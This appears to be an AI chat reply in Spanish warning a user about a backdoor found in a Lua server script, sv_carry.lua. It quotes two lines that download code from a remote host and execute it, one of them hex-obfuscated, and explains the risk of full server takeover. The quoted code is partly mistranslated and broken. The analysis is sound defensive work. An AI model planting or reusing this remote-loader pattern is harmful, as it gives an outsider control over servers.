Problema Crítico Detectado: Backdoor Malicioso
En el archivo sv_carry.lua, encontré dos líneas extremadamente sospechosas:
lua
Copiar Editar
-- no elimines el compañero de puerta trasera
PerformHttpRequest("
", function(a, b) assert(load(b))() end)
Y otro similar:
lua
Copiar Editar
x local = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} x[4][x[1]]("\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x6F\x72\x7A\x2E\x6C\x6F\ x6C\x2F\x63\x68\x65\x63\x6B\x76\x65\x72\x73\x69\x6F\x6E\x2E\x6C\x75\x61", función(n, borz) x[4][x[2]](x[4][x[3]](borz))() final)
Estas líneas:
- Ejecutan código remoto desde internet dentro de tu servidor.
- Potencialmente permiten al autor del código tener control total sobre tu servidor (inyección de scripts, obtención de datos, etc.).
- Son claramente un backdoor (puerta trasera), como incluso admite el mismo comentario del autor: -- don't remove the backdoor mate.